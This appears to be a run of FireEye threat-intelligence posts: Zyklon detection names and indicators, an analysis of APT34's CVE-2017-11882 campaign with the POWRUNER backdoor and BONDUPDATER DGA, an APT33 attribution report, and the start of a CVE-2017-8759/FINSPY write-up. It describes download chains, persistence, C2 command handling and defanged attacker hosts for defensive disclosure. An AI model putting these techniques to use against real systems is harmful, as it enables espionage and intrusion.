Product

Action

POWERSHELL DOWNLOADER D (METHODOLOGY)

HX

Detect

SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)

HX

Detect

POWERSHELL DOWNLOADER (METHODOLOGY)

HX

Detect

SUSPICIOUS EQNEDT USAGE (METHODOLOGY)

HX

Detect

TOR (TUNNELER)

HX

Detect

SUSPICIOUS SVCHOST.EXE (METHODOLOGY)

HX

Detect

Malware.Binary.rtf

EX/ETP/NX

Block

Malware.Binary

EX/ETP/NX

Block

FE_Exploit_RTF_CVE_2017_8759

EX/ETP/NX

Block

FE_Exploit_RTF_CVE201711882_1

EX/ETP/NX

Block

Table 2: Current detection capabilities by FireEye products

Indicators of Compromise

The contained analysis is based on the representative sample lures shown in Table 3.

MD5

Name

76011037410d031aa41e5d381909f9ce

accounts.doc

4bae7fb819761a7ac8326baf8d8eb6ab

Courrier.doc

eb5fa454ab42c8aec443ba8b8c97339b

doc.doc

886a4da306e019aa0ad3a03524b02a1c

Pause.ps1

04077ecbdc412d6d87fc21e4b3a4d088

words.exe

Table 3: Sample Zyklon lures

Network Indicators
  • 154.16.93.182
  • 85.214.136.179
  • 178.254.21.218
  • 159.203.42.107
  • 217.12.223.216
  • 138.201.143.186
  • 216.244.85.211
  • 51.15.78.0
  • 213.251.226.175
  • 93.95.100.202
  • warnono.punkdns.top

New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit

Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14, 2017, FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East. We assess this activity was carried out by a suspected Iranian cyber espionage threat group, whom we refer to as APT34, using a custom PowerShell backdoor to achieve its objectives.

We believe APT34 is involved in a long-term cyber espionage operation largely focused on reconnaissance efforts to benefit Iranian nation-state interests and has been operational since at least 2014. This threat group has conducted broad targeting across a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. We assess that APT34 works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.

APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts, sometimes coupled with social engineering tactics. In May 2016, we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware. We now attribute that campaign to APT34. In July 2017, we observed APT34 targeting a Middle East organization using a PowerShell-based backdoor that we call POWRUNER and a downloader with domain generation algorithm functionality that we call BONDUPDATER, based on strings within the malware. The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199.

In this latest campaign, APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER.

The full report on APT34 is available to our MySIGHT customer community. APT34 loosely aligns with public reporting related to the group "OilRig". As individual organizations may track adversaries using varied data sets, it is possible that our classifications of activity may not wholly align.

CVE-2017-11882: Microsoft Office Stack Memory Corruption Vulnerability

CVE-2017-11882 affects several versions of Microsoft Office and, when exploited, allows a remote user to run arbitrary code in the context of the current user as a result of improperly handling objects in memory. The vulnerability was patched by Microsoft on Nov. 14, 2017. A full proof of concept (POC) was publicly released a week later by the reporter of the vulnerability.

The vulnerability exists in the old Equation Editor (EQNEDT32.EXE), a component of Microsoft Office that is used to insert and evaluate mathematical formulas. The Equation Editor is embedded in Office documents using object linking and embedding (OLE) technology. It is created as a separate process instead of child process of Office applications. If a crafted formula is passed to the Equation Editor, it does not check the data length properly while copying the data, which results in stack memory corruption. As the EQNEDT32.exe is compiled using an older compiler and does not support address space layout randomization (ASLR), a technique that guards against the exploitation of memory corruption vulnerabilities, the attacker can easily alter the flow of program execution.

Analysis

APT34 sent a malicious .rtf file (MD5: a0e6933f4e0497269620f44a083b2ed4) as an attachment in a malicious spear phishing email sent to the victim organization. The malicious file exploits CVE-2017-11882, which corrupts the memory on the stack and then proceeds to push the malicious data to the stack. The malware then overwrites the function address with the address of an existing instruction from EQNEDT32.EXE. The overwritten instruction (displayed in Figure 1) is used to call the “WinExec” function from kernel32.dll, as depicted in the instruction at 00430c12, which calls the “WinExec” function.


Figure 1: Disassembly of overwritten function address

After exploitation, the ‘WinExec’ function is successfully called to create a child process, “mshta.exe”, in the context of current logged on user. The process “mshta.exe” downloads a malicious script from hxxp://mumbai-m[.]site/b.txt and executes it, as seen in Figure 2.


Figure 2: Attacker data copied to corrupt stack buffer

Execution Workflow

The malicious script goes through a series of steps to successfully execute and ultimately establish a connection to the command and control (C2) server. The full sequence of events starting with the exploit document is illustrated in Figure 3.


Figure 3: CVE-2017-11882 and POWRUNER attack sequence

  1. The malicious .rtf file exploits CVE-2017-11882.
  2. The malware overwrites the function address with an existing instruction from EQNEDT32.EXE.
  3. The malware creates a child process, “mshta.exe,” which downloads a file from: hxxp://mumbai-m[.]site/b.txt.
  4. b.txt contains a PowerShell command to download a dropper from: hxxp://dns-update[.]club/v.txt. The PowerShell command also renames the downloaded file from v.txt to v.vbs and executes the script.
  5. The v.vbs script drops four components (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs) to the directory: C:\ProgramData\Windows\Microsoft\java\
  6. v.vbs uses CertUtil.exe, a legitimate Microsoft command-line program installed as part of Certificate Services, to decode the base64-encoded files hUpdateCheckers.base and dUpdateCheckers.base, and drop hUpdateCheckers.ps1 and dUpdateCheckers.ps1 to the staging directory.
  7. cUpdateCheckers.bat is launched and creates a scheduled task for GoogleUpdateschecker.vbs persistence.
  8. GoogleUpdateschecker.vbs is executed after sleeping for five seconds.
  9. cUpdateCheckers.bat and *.base are deleted from the staging directory.

Figure 4 contains an excerpt of the v.vbs script pertaining to the Execution Workflow section.


Figure 4: Execution Workflow Section of v.vbs

After successful execution of the steps mentioned in the Execution Workflow section, the Task Scheduler will launch GoogleUpdateschecker.vbs every minute, which in turn executes the dUpdateCheckers.ps1 and hUpdateCheckers.ps1 scripts. These PowerShell scripts are final stage payloads – they include a downloader with domain generation algorithm (DGA) functionality and the backdoor component, which connect to the C2 server to receive commands and perform additional malicious activities. 

hUpdateCheckers.ps1 (POWRUNER)

The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server. POWRUNER is executed every minute by the Task Scheduler. Figure 5 contains an excerpt of the POWRUNER backdoor.


Figure 5: POWRUNER PowerShell script hUpdateCheckers.ps1

POWRUNER begins by sending a random GET request to the C2 server and waits for a response. The server will respond with either “not_now” or a random 11-digit number. If the response is a random number, POWRUNER will send another random GET request to the server and store the response in a string. POWRUNER will then check the last digit of the stored random number response, interpret the value as a command, and perform an action based on that command. The command values and the associated actions are described in Table 1.

Command

Description

Action

0

Server response string contains batch commands

Execute batch commands and send results back to server

1

Server response string is a file path

Check for file path and upload (PUT) the file to server

2

Server response string is a file path

Check for file path and download (GET) the file

Table 1: POWRUNER commands

After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution.

The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system. POWRUNER will send the captured screenshot image file to the C2 server if the “fileupload” command is issued. Figure 6 shows the PowerShell “Get-Screenshot” function sent by the C2 server.


Figure 6: Powershell Screenshot Functionality

dUpdateCheckers.ps1 (BONDUPDATER)

One of the recent advancements by APT34 is the use of DGA to generate subdomains. The BONDUPDATER script, which was named based on the hard-coded string “B007”, uses a custom DGA algorithm to generate subdomains for communication with the C2 server.

DGA Implementation

Figure 7 provides a breakdown of how an example domain (456341921300006B0C8B2CE9C9B007.mumbai-m[.]site) is generated using BONDUPDATER’s custom DGA.


Figure 7: Breakdown of subdomain created by BONDUPDATER

  1. This is a randomly generated number created using the following expression: $rnd = -join (Get-Random -InputObject (10..99) -Count (%{ Get-Random -InputObject (1..6)}));
  2. This value is either 0 or 1. It is initially set to 0. If the first resolved domain IP address starts with 24.125.X.X, then it is set to 1.
  3. Initially set to 000, then incremented by 3 after every DNS request
  4. First 12 characters of system UUID.
  5. “B007” hardcoded string.
  6. Hardcoded domain “mumbai-m[.]site”

BONDUPDATER will attempt to resolve the resulting DGA domain and will take the following actions based on the IP address resolution:

  1. Create a temporary file in %temp% location
    • The file created will have the last two octets of the resolved IP addresses as its filename.
  2. BONDUPDATER will evaluate the last character of the file name and perform the corresponding action found in Table 2.

Character

Description

0

File contains batch commands, it executes the batch commands

1

Rename the temporary file as .ps1 extension

2

Rename the temporary file as .vbs extension

Table 2: BONDUPDATER Actions

Figure 8 is a screenshot of BONDUPDATER’s DGA implementation.


Figure 8: Domain Generation Algorithm

Some examples of the generated subdomains observed at time of execution include:

143610035BAF04425847B007.mumbai-m[.]site

835710065BAF04425847B007.mumbai-m[.]site

376110095BAF04425847B007.mumbai-m[.]site

Network Communication

Figure 9 shows example network communications between a POWRUNER backdoor client and server.


Figure 9: Example Network Communication

In the example, the POWRUNER client sends a random GET request to the C2 server and the C2 server sends the random number (99999999990) as a response. As the response is a random number that ends with ‘0’, POWRUNER sends another random GET request to receive  an additional command string. The C2 server sends back Base64 encoded response.

If the server had sent the string “not_now” as response, as shown in Figure 10, POWRUNER would have ceased any further requests and terminated its execution.


Figure 10: Example "not now" server response

Batch Commands

POWRUNER may also receive batch commands from the C2 server to collect host information from the system. This may include information about the currently logged in user, the hostname, network configuration data, active connections, process information, local and domain administrator accounts, an enumeration of user directories, and other data. An example batch command is provided in Figure 11.


Figure 11: Batch commands sent by POWRUNER C2 server

Additional Use of POWRUNER / BONDUPDATER

APT34 has used POWRUNER and BONDUPDATER to target Middle East organizations as early as July 2017. In July 2017, a FireEye Web MPS appliance detected and blocked a request to retrieve and install an APT34 POWRUNER / BONDUPDATER downloader file. During the same month, FireEye observed APT34 target a separate Middle East organization using a malicious .rtf file (MD5: 63D66D99E46FB93676A4F475A65566D8) that exploited CVE-2017-0199. This file issued a GET request to download a malicious file from:

hxxp://94.23.172.164/dupdatechecker.doc.

As shown in Figure 12, the script within the dupatechecker.doc file attempts to download another file named dupatechecker.exe from the same server. The file also contains a comment by the malware author that appears to be an apparent taunt to security researchers.


Figure 12: Contents of dupdatechecker.doc script

The dupatechecker.exe file (MD5: C9F16F0BE8C77F0170B9B6CE876ED7FB) drops both BONDUPDATER and POWRUNER. These files connect to proxychecker[.]pro for C2.

Outlook and Implications

Recent activity by APT34 demonstrates that they are capable group with potential access to their own development resources. During the past few months, APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities (CVE-2017-0199 and CVE-2017-11882) to target organizations in the Middle East. We assess that APT34’s efforts to continuously update their malware, including the incorporation of DGA for C2, demonstrate the group’s commitment to pursing strategies to deter detection. We expect APT34 will continue to evolve their malware and tactics as they continue to pursue access to entities in the Middle East region.

IOCs

Filename / Domain / IP Address

MD5 Hash or Description

CVE-2017-11882 exploit document

A0E6933F4E0497269620F44A083B2ED4

b.txt

9267D057C065EA7448ACA1511C6F29C7

v.txt/v.vbs

B2D13A336A3EB7BD27612BE7D4E334DF

dUpdateCheckers.base

4A7290A279E6F2329EDD0615178A11FF

hUpdateCheckers.base

841CE6475F271F86D0B5188E4F8BC6DB

cUpdateCheckers.bat

52CA9A7424B3CC34099AD218623A0979

dUpdateCheckers.ps1

BBDE33F5709CB1452AB941C08ACC775E

hUpdateCheckers.ps1

247B2A9FCBA6E9EC29ED818948939702

GoogleUpdateschecker.vbs

C87B0B711F60132235D7440ADD0360B0

hxxp://mumbai-m[.]site

POWRUNER C2

hxxp://dns-update[.]club

Malware Staging Server

CVE-2017-0199 exploit document

63D66D99E46FB93676A4F475A65566D8

94.23.172.164:80

Malware Staging Server

dupdatechecker.doc

D85818E82A6E64CA185EDFDDBA2D1B76

dupdatechecker.exe

C9F16F0BE8C77F0170B9B6CE876ED7FB

proxycheker[.]pro

C2

46.105.221.247

Has resolved mumbai-m[.]site & hpserver[.]online

148.251.55.110

Has resolved mumbai-m[.]site and dns-update[.]club

185.15.247.147

Has resolved dns-update[.]club

145.239.33.100

Has resolved dns-update[.]club

82.102.14.219

Has resolved ns2.dns-update[.]club & hpserver[.]online & anyportals[.]com

v7-hpserver.online.hta

E6AC6F18256C4DDE5BF06A9191562F82

dUpdateCheckers.base

3C63BFF9EC0A340E0727E5683466F435

hUpdateCheckers.base

EEB0FF0D8841C2EBE643FE328B6D9EF5

cUpdateCheckers.bat

FB464C365B94B03826E67EABE4BF9165

dUpdateCheckers.ps1

635ED85BFCAAB7208A8B5C730D3D0A8C

hUpdateCheckers.ps1

13B338C47C52DE3ED0B68E1CB7876AD2

googleupdateschecker.vbs

DBFEA6154D4F9D7209C1875B2D5D70D5

hpserver[.]online

C2

v7-anyportals.hta

EAF3448808481FB1FDBB675BC5EA24DE

dUpdateCheckers.base

42449DD79EA7D2B5B6482B6F0D493498

hUpdateCheckers.base

A3FCB4D23C3153DD42AC124B112F1BAE

dUpdateCheckers.ps1

EE1C482C41738AAA5964730DCBAB5DFF

hUpdateCheckers.ps1

E516C3A3247AF2F2323291A670086A8F

anyportals[.]com

C2

Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware

When discussing suspected Middle Eastern hacker groups with destructive capabilities, many automatically think of the suspected Iranian group that previously used SHAMOON – aka Disttrack – to target organizations in the Persian Gulf. However, over the past few years, we have been tracking a separate, less widely known suspected Iranian group with potential destructive capabilities, whom we call APT33. Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.

Recent investigations by FireEye’s Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of APT33’s operations, capabilities, and potential motivations. This blog highlights some of our analysis. Our detailed report on FireEye MySIGHT contains a more thorough review of our supporting evidence and analysis. We will also be discussing this threat group further during our webinar on Sept. 21 at 8 a.m. ET.

Targeting

APT33 has targeted organizations – spanning multiple industries – headquartered in the United States, Saudi Arabia and South Korea. APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production.

From mid-2016 through early 2017, APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings.

During the same time period, APT33 also targeted a South Korean company involved in oil refining and petrochemicals. More recently, in May 2017, APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company.

We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia’s military aviation capabilities to enhance Iran’s domestic aviation capabilities or to support Iran’s military and strategic decision making vis a vis Saudi Arabia.

We believe the targeting of the Saudi organization may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea’s recent partnerships with Iran’s petrochemical industry as well as South Korea’s relationships with Saudi petrochemical companies. Iran has expressed interest in growing their petrochemical industry and often posited this expansion in competition to Saudi petrochemical companies. APT33 may have targeted these organizations as a result of Iran’s desire to expand its own petrochemical production and improve its competitiveness within the region. 

The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups, indicating a common interest in the sectors across Iranian actors.

Figure 1 shows the global scope of APT33 targeting.


Figure 1: Scope of APT33 Targeting

Spear Phishing

APT33 sent spear phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals.

An example .hta file excerpt is provided in Figure 2. To the user, the file would appear as benign references to legitimate job postings; however, unbeknownst to the user, the .hta file also contained embedded code that automatically downloaded a custom APT33 backdoor.


Figure 2: Excerpt of an APT33 malicious .hta file

We assess APT33 used a built-in phishing module within the publicly available ALFA TEaM Shell (aka ALFASHELL) to send hundreds of spear phishing emails to targeted individuals in 2016. Many of the phishing emails appeared legitimate – they referenced a specific job opportunity and salary, provided a link to the spoofed company’s employment website, and even included the spoofed company’s Equal Opportunity hiring statement. However, in a few cases, APT33 operators left in the default values of the shell’s phishing module. These appear to be mistakes, as minutes after sending the emails with the default values, APT33 sent emails to the same recipients with the default values removed.

As shown in Figure 3, the “fake mail” phishing module in the ALFA Shell contains default values, including the sender email address (solevisible@gmail[.]com), subject line (“your site hacked by me”), and email body (“Hi Dear Admin”).


Figure 3: ALFA TEaM Shell v2-Fake Mail (Default)

Figure 4 shows an example email containing the default values the shell.


Figure 4: Example Email Generated by the ALFA Shell with Default Values

Domain Masquerading

APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet. Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations.    

The following domains masquerade as these organizations: Boeing, Alsalam Aircraft Company, Northrop Grumman Aviation Arabia (NGAAKSA), and Vinnell Arabia.

boeing.servehttp[.]com

alsalam.ddns[.]net

ngaaksa.ddns[.]net

ngaaksa.sytes[.]net

vinnellarabia.myftp[.]org

Boeing, Alsalam Aircraft company, and Saudia Aerospace Engineering Industries entered into a joint venture to create the Saudi Rotorcraft Support Center in Saudi Arabia in 2015 with the goal of servicing Saudi Arabia’s rotorcraft fleet and building a self-sustaining workforce in the Saudi aerospace supply base.

Alsalam Aircraft Company also offers military and commercial maintenance, technical support, and interior design and refurbishment services.

Two of the domains appeared to mimic Northrop Grumman joint ventures. These joint ventures – Vinnell Arabia and Northrop Grumman Aviation Arabia – provide aviation support in the Middle East, specifically in Saudi Arabia. Both Vinnell Arabia and Northrop Grumman Aviation Arabia have been involved in contracts to train Saudi Arabia’s Ministry of National Guard.

Identified Persona Linked to Iranian Government

We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries.

We assess an actor using the handle “xman_1365_x” may have been involved in the development and potential use of APT33’s TURNEDUP backdoor due to the inclusion of the handle in the processing-debugging (PDB) paths of many of TURNEDUP samples. An example can be seen in Figure 5.


Figure 5: “xman_1365_x" PDB String in TURNEDUP Sample

Xman_1365_x was also a community manager in the Barnamenevis Iranian programming and software engineering forum, and registered accounts in the well-known Iranian Shabgard and Ashiyane forums, though we did not find evidence to suggest that this actor was ever a formal member of the Shabgard or Ashiyane hacktivist groups.

Open source reporting links the “xman_1365_x” actor to the “Nasr Institute,” which is purported to be equivalent to Iran’s “cyber army” and controlled by the Iranian government. Separately, additional evidence ties the “Nasr Institute” to the 2011-2013 attacks on the financial industry, a series of denial of service attacks dubbed Operation Ababil. In March 2016, the U.S. Department of Justice unsealed an indictment that named two individuals allegedly hired by the Iranian government to build attack infrastructure and conduct distributed denial of service attacks in support of Operation Ababil. While the individuals and the activity described in indictment are different than what is discussed in this report, it provides some evidence that individuals associated with the “Nasr Institute” may have ties to the Iranian government.

Potential Ties to Destructive Capabilities and Comparisons with SHAMOON

One of the droppers used by APT33, which we refer to as DROPSHOT, has been linked to the wiper malware SHAPESHIFT. Open source research indicates SHAPESHIFT may have been used to target organizations in Saudi Arabia.

Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT. The SHAPESHIFT malware is capable of wiping disks, erasing volumes and deleting files, depending on its configuration. Both DROPSHOT and SHAPESHIFT contain Farsi language artifacts, which indicates they may have been developed by a Farsi language speaker (Farsi is the predominant and official language of Iran).

While we have not directly observed APT33 use SHAPESHIFT or otherwise carry out destructive operations, APT33 is the only group that we have observed use the DROPSHOT dropper. It is possible that DROPSHOT may be shared amongst Iran-based threat groups, but we do not have any evidence that this is the case.

In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0). They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences. For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment. Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources.

We have also observed differences in both targeting and tactics, techniques and procedures (TTPs) associated with the group using SHAMOON and APT33. For example, we have observed SHAMOON being used to target government organizations in the Middle East, whereas APT33 has targeted several commercial organizations both in the Middle East and globally. APT33 has also utilized a wide range of custom and publicly available tools during their operations. In contrast, we have not observed the full lifecycle of operations associated with SHAMOON, in part due to the wiper removing artifacts of the earlier stages of the attack lifecycle.

Regardless of whether DROPSHOT is exclusive to APT33, both the malware and the threat activity appear to be distinct from the group using SHAMOON. Therefore, we assess there may be multiple Iran-based threat groups capable of carrying out destructive operations.

Additional Ties Bolster Attribution to Iran

APT33’s targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests, implying that the threat actor is most likely government sponsored. This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government.

The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC). The time of the observed attacker activity coincides with Iran’s Daylight Time, which is +0430 UTC.

APT33 largely operated on days that correspond to Iran’s workweek, Saturday to Wednesday. This is evident by the lack of attacker activity on Thursday, as shown in Figure 6. Public sources report that Iran works a Saturday to Wednesday or Saturday to Thursday work week, with government offices closed on Thursday and some private businesses operating on a half day schedule on Thursday. Many other Middle East countries have elected to have a Friday and Saturday weekend. Iran is one of few countries that subscribes to a Saturday to Wednesday workweek.

APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups. The publicly available backdoors and tools utilized by APT33 – including NANOCORE, NETWIRE, and ALFA Shell – are all available on Iranian hacking websites, associated with Iranian hackers, and used by other suspected Iranian threat groups. While not conclusive by itself, the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33’s familiarity with them and lends support to the assessment that APT33 may be based in Iran.


Figure 6: APT33 Interactive Commands by Day of Week

Outlook and Implications

Based on observed targeting, we believe APT33 engages in strategic espionage by targeting geographically diverse organizations across multiple industries. Specifically, the targeting of organizations in the aerospace and energy sectors indicates that the threat group is likely in search of strategic intelligence capable of benefitting a government or military sponsor. APT33’s focus on aviation may indicate the group’s desire to gain insight into regional military aviation capabilities to enhance Iran’s aviation capabilities or to support Iran’s military and strategic decision making. Their targeting of multiple holding companies and organizations in the energy sectors align with Iranian national priorities for growth, especially as it relates to increasing petrochemical production. We expect APT33 activity will continue to cover a broad scope of targeted entities, and may spread into other regions and sectors as Iranian interests dictate.

APT33’s use of multiple custom backdoors suggests that they have access to some of their own development resources, with which they can support their operations, while also making use of publicly available tools. The ties to SHAPESHIFT may suggest that APT33 engages in destructive operations or that they share tools or a developer with another Iran-based threat group that conducts destructive operations.

Appendix

Malware Family Descriptions

Malware Family

Description

Availability

DROPSHOT

Dropper that has been observed dropping and launching the TURNEDUP backdoor, as well as the SHAPESHIFT wiper malware

Non-Public

NANOCORE

Publicly available remote access Trojan (RAT) available for purchase. It is a full-featured backdoor with a plugin framework

Public

NETWIRE

Backdoor that attempts to steal credentials from the local machine from a variety of sources and supports other standard backdoor features.

Public

TURNEDUP

Backdoor capable of uploading and downloading files, creating a reverse shell, taking screenshots, and gathering system information

Non-Public

Indicators of Compromise

APT33 Domains Likely Used in Initial Targeting

Domain

boeing.servehttp[.]com

alsalam.ddns[.]net

ngaaksa.ddns[.]net

ngaaksa.sytes[.]net

vinnellarabia.myftp[.]org

APT33 Domains / IPs Used for C2

C2 Domain

MALWARE

managehelpdesk[.]com

NANOCORE

microsoftupdated[.]com

NANOCORE

osupd[.]com

NANOCORE

mywinnetwork.ddns[.]net

NETWIRE

www.chromup[.]com

TURNEDUP

www.securityupdated[.]com

TURNEDUP

googlmail[.]net

TURNEDUP

microsoftupdated[.]net

TURNEDUP

syn.broadcaster[.]rocks

TURNEDUP

www.googlmail[.]net

TURNEDUP

Publicly Available Tools used by APT33

MD5

MALWARE

Compile Time (UTC)

3f5329cf2a829f8840ba6a903f17a1bf

NANOCORE

2017/1/11 2:20

10f58774cd52f71cd4438547c39b1aa7

NANOCORE

2016/3/9 23:48

663c18cfcedd90a3c91a09478f1e91bc

NETWIRE

2016/6/29 13:44

6f1d5c57b3b415edc3767b079999dd50

NETWIRE

2016/5/29 14:11

Unattributed DROPSHOT / SHAPESHIFT MD5 Hashes

MD5

MALWARE

Compile Time (UTC)

0ccc9ec82f1d44c243329014b82d3125

DROPSHOT

(drops SHAPESHIFT

n/a - timestomped

fb21f3cea1aa051ba2a45e75d46b98b8

DROPSHOT

n/a - timestomped

3e8a4d654d5baa99f8913d8e2bd8a184

SHAPESHIFT

2016/11/14 21:16:40

6b41980aa6966dda6c3f68aeeb9ae2e0

SHAPESHIFT

2016/11/14 21:16:40

APT33 Malware MD5 Hashes

MD5

MALWARE

Compile Time (UTC)

8e67f4c98754a2373a49eaf53425d79a

DROPSHOT (drops TURNEDUP)

2016/10/19 14:26

c57c5529d91cffef3ec8dadf61c5ffb2

TURNEDUP

2014/6/1 11:01

c02689449a4ce73ec79a52595ab590f6

TURNEDUP

2016/9/18 10:50

59d0d27360c9534d55596891049eb3ef

TURNEDUP

2016/3/8 12:34

59d0d27360c9534d55596891049eb3ef

TURNEDUP

2016/3/8 12:34

797bc06d3e0f5891591b68885d99b4e1

TURNEDUP

2015/3/12 5:59

8e6d5ef3f6912a7c49f8eb6a71e18ee2

TURNEDUP

2015/3/12 5:59

32a9a9aa9a81be6186937b99e04ad4be

TURNEDUP

2015/3/12 5:59

a272326cb5f0b73eb9a42c9e629a0fd8

TURNEDUP

2015/3/9 16:56

a813dd6b81db331f10efaf1173f1da5d

TURNEDUP

2015/3/9 16:56

de9e3b4124292b4fba0c5284155fa317

TURNEDUP

2015/3/9 16:56

a272326cb5f0b73eb9a42c9e629a0fd8

TURNEDUP

2015/3/9 16:56

b3d73364995815d78f6d66101e718837

TURNEDUP

2014/6/1 11:01

de7a44518d67b13cda535474ffedf36b

TURNEDUP

2014/6/1 11:01

b5f69841bf4e0e96a99aa811b52d0e90

TURNEDUP

2014/6/1 11:01

a2af2e6bbb6551ddf09f0a7204b5952e

TURNEDUP

2014/6/1 11:01

b189b21aafd206625e6c4e4a42c8ba76

TURNEDUP

2014/6/1 11:01

aa63b16b6bf326dd3b4e82ffad4c1338

TURNEDUP

2014/6/1 11:01

c55b002ae9db4dbb2992f7ef0fbc86cb

TURNEDUP

2014/6/1 11:01

c2d472bdb8b98ed83cc8ded68a79c425

TURNEDUP

2014/6/1 11:01

c6f2f502ad268248d6c0087a2538cad0

TURNEDUP

2014/6/1 11:01

c66422d3a9ebe5f323d29a7be76bc57a

TURNEDUP

2014/6/1 11:01

ae47d53fe8ced620e9969cea58e87d9a

TURNEDUP

2014/6/1 11:01

b12faab84e2140dfa5852411c91a3474

TURNEDUP

2014/6/1 11:01

c2fbb3ac76b0839e0a744ad8bdddba0e

TURNEDUP

2014/6/1 11:01

a80c7ce33769ada7b4d56733d02afbe5

TURNEDUP

2014/6/1 11:01

6a0f07e322d3b7bc88e2468f9e4b861b

TURNEDUP

2014/6/1 11:01

b681aa600be5e3ca550d4ff4c884dc3d

TURNEDUP

2014/6/1 11:01

ae870c46f3b8f44e576ffa1528c3ea37

TURNEDUP

2014/6/1 11:01

bbdd6bb2e8827e64cd1a440e05c0d537

TURNEDUP

2014/6/1 11:01

0753857710dcf96b950e07df9cdf7911

TURNEDUP

2013/4/10 10:43

d01781f1246fd1b64e09170bd6600fe1

TURNEDUP

2013/4/10 10:43

1381148d543c0de493b13ba8ca17c14f

TURNEDUP

2013/4/10 10:43

FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY

FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. FireEye analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands.

FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance, which can be found here.

FireEye email, endpoint and network products detected the malicious documents.

Vulnerability Used to Target Russian Speakers

The malicious document, “Проект.doc” (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple components (details follow), and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5).

FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a “lawful intercept” capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional detections by FireEye’s Dynamic Threat Intelligence system indicates that related activity, though potentially for a different client, might have occurred as early as July 2017.

CVE-2017-8759 WSDL Parser Code Injection

A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method (http://referencesource.microsoft.com/ - System.Runtime.Remoting/metadata/wsdlparser.cs,6111). The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject and execute arbitrary code. A portion of the vulnerable code is shown in Figure 1.


Figure 1: Vulnerable WSDL Parser

When multiple address definitions are provided in a SOAP response, the code inserts the “//base.ConfigureProxy(this.GetType(),” string after the first address, commenting out the remaining addresses. However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out. Figure 2 shows that due to lack validation of CRLF, a System.Diagnostics.Process.Start method call is injected. The generated code will be compiled by csc.exe of .NET framework, and loaded by the Office executables as a DLL.


Figure 2: SOAP definition VS Generated code

The In-the-Wild Attacks

The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE-2017-0199 documents we previously reported on. The malicious sampled contained an embedded SOAP monikers to facilitate exploitation (Figure 3).


Figure 3: SOAP Moniker

